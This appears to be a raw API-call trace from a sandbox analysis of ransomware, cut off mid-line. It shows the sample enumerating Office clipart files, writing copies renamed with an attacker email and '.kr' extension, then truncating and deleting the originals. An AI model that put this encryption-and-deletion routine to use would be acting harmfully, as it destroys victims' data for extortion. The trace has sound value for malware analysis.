lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.664] lstrlenW (lpString=".doc") returned 4 [0107.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.664] lstrlenW (lpString=".docx") returned 5 [0107.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.664] lstrlenW (lpString=".pdf") returned 4 [0107.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.664] lstrlenW (lpString=".xls") returned 4 [0107.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.664] lstrlenW (lpString=".xlsx") returned 5 [0107.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.664] lstrlenW (lpString=".ppt") returned 4 [0107.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.664] lstrlenW (lpString=".zip") returned 4 [0107.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.664] lstrlenW (lpString=".rar") returned 4 [0107.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.664] lstrlenW (lpString=".bz2") returned 4 [0107.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.665] lstrlenW (lpString=".7z") returned 3 [0107.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.665] lstrlenW (lpString=".dbf") returned 4 [0107.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.665] lstrlenW (lpString=".1cd") returned 4 [0107.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.665] lstrlenW (lpString=".jpg") returned 4 [0107.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.665] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.665] lstrlenW (lpString="AN04225_.WMF") returned 12 [0107.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.666] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=8492) returned 1 [0107.666] CloseHandle (hObject=0x398) returned 1 [0107.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0107.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.666] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.666] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0107.667] GetLastError () returned 0x0 [0107.667] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x212c, lpOverlapped=0x0) returned 1 [0107.669] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x2130, lpOverlapped=0x0) returned 1 [0107.671] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0107.671] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0107.671] SetEndOfFile (hFile=0x35c) returned 1 [0107.671] CloseHandle (hObject=0x35c) returned 1 [0107.672] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.672] SetEndOfFile (hFile=0x398) returned 1 [0107.673] CloseHandle (hObject=0x398) returned 1 [0107.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0107.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.674] lstrlenW (lpString=".doc") returned 4 [0107.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.674] lstrlenW (lpString=".docx") returned 5 [0107.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.674] lstrlenW (lpString=".pdf") returned 4 [0107.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.674] lstrlenW (lpString=".xls") returned 4 [0107.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.674] lstrlenW (lpString=".xlsx") returned 5 [0107.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.675] lstrlenW (lpString=".ppt") returned 4 [0107.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.675] lstrlenW (lpString=".zip") returned 4 [0107.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.675] lstrlenW (lpString=".rar") returned 4 [0107.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.675] lstrlenW (lpString=".bz2") returned 4 [0107.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.675] lstrlenW (lpString=".7z") returned 3 [0107.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.675] lstrlenW (lpString=".dbf") returned 4 [0107.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.675] lstrlenW (lpString=".1cd") returned 4 [0107.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.675] lstrlenW (lpString=".jpg") returned 4 [0107.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.675] lstrlenW (lpString=".doc") returned 4 [0107.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.676] lstrlenW (lpString=".docx") returned 5 [0107.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.676] lstrlenW (lpString=".pdf") returned 4 [0107.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.676] lstrlenW (lpString=".xls") returned 4 [0107.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.676] lstrlenW (lpString=".xlsx") returned 5 [0107.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.676] lstrlenW (lpString=".ppt") returned 4 [0107.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.676] lstrlenW (lpString=".zip") returned 4 [0107.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.676] lstrlenW (lpString=".rar") returned 4 [0107.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.676] lstrlenW (lpString=".bz2") returned 4 [0107.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.676] lstrlenW (lpString=".7z") returned 3 [0107.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.676] lstrlenW (lpString=".dbf") returned 4 [0107.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.676] lstrlenW (lpString=".1cd") returned 4 [0107.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0107.677] lstrlenW (lpString=".jpg") returned 4 [0107.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.677] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.677] lstrlenW (lpString="AN04235_.WMF") returned 12 [0107.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.310] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=7804) returned 1 [0108.310] CloseHandle (hObject=0x384) returned 1 [0108.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0108.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.311] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.311] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0108.312] GetLastError () returned 0x0 [0108.312] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0108.314] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x1e80, lpOverlapped=0x0) returned 1 [0108.315] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0108.315] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0108.315] SetEndOfFile (hFile=0x36c) returned 1 [0108.316] CloseHandle (hObject=0x36c) returned 1 [0108.317] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.317] SetEndOfFile (hFile=0x384) returned 1 [0108.325] CloseHandle (hObject=0x384) returned 1 [0108.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0108.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.326] lstrlenW (lpString=".doc") returned 4 [0108.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.326] lstrlenW (lpString=".docx") returned 5 [0108.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.326] lstrlenW (lpString=".pdf") returned 4 [0108.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.326] lstrlenW (lpString=".xls") returned 4 [0108.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.327] lstrlenW (lpString=".xlsx") returned 5 [0108.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.327] lstrlenW (lpString=".ppt") returned 4 [0108.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.327] lstrlenW (lpString=".zip") returned 4 [0108.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.327] lstrlenW (lpString=".rar") returned 4 [0108.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.327] lstrlenW (lpString=".bz2") returned 4 [0108.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.327] lstrlenW (lpString=".7z") returned 3 [0108.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.327] lstrlenW (lpString=".dbf") returned 4 [0108.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.327] lstrlenW (lpString=".1cd") returned 4 [0108.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.327] lstrlenW (lpString=".jpg") returned 4 [0108.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.328] lstrlenW (lpString=".doc") returned 4 [0108.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".docx") returned 5 [0108.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.328] lstrlenW (lpString=".pdf") returned 4 [0108.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".xls") returned 4 [0108.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.328] lstrlenW (lpString=".xlsx") returned 5 [0108.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.328] lstrlenW (lpString=".ppt") returned 4 [0108.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.328] lstrlenW (lpString=".zip") returned 4 [0108.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.328] lstrlenW (lpString=".rar") returned 4 [0108.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".bz2") returned 4 [0108.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".7z") returned 3 [0108.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.328] lstrlenW (lpString=".dbf") returned 4 [0108.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.329] lstrlenW (lpString=".1cd") returned 4 [0108.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0108.329] lstrlenW (lpString=".jpg") returned 4 [0108.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.329] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.329] lstrlenW (lpString="AN04269_.WMF") returned 12 [0108.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.330] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2016) returned 1 [0108.330] CloseHandle (hObject=0x384) returned 1 [0108.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0108.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.330] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.330] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0108.331] GetLastError () returned 0x0 [0108.331] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x7e0, lpOverlapped=0x0) returned 1 [0108.333] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x7f0, lpOverlapped=0x0) returned 1 [0108.334] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0108.334] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0108.335] SetEndOfFile (hFile=0x36c) returned 1 [0108.335] CloseHandle (hObject=0x36c) returned 1 [0108.336] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.336] SetEndOfFile (hFile=0x384) returned 1 [0108.337] CloseHandle (hObject=0x384) returned 1 [0108.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0108.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.338] lstrlenW (lpString=".doc") returned 4 [0108.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.338] lstrlenW (lpString=".docx") returned 5 [0108.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.339] lstrlenW (lpString=".pdf") returned 4 [0108.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.339] lstrlenW (lpString=".xls") returned 4 [0108.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.339] lstrlenW (lpString=".xlsx") returned 5 [0108.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.339] lstrlenW (lpString=".ppt") returned 4 [0108.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.339] lstrlenW (lpString=".zip") returned 4 [0108.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.339] lstrlenW (lpString=".rar") returned 4 [0108.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.339] lstrlenW (lpString=".bz2") returned 4 [0108.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.339] lstrlenW (lpString=".7z") returned 3 [0108.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.339] lstrlenW (lpString=".dbf") returned 4 [0108.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.339] lstrlenW (lpString=".1cd") returned 4 [0108.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.339] lstrlenW (lpString=".jpg") returned 4 [0108.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.340] lstrlenW (lpString=".doc") returned 4 [0108.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.340] lstrlenW (lpString=".docx") returned 5 [0108.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") 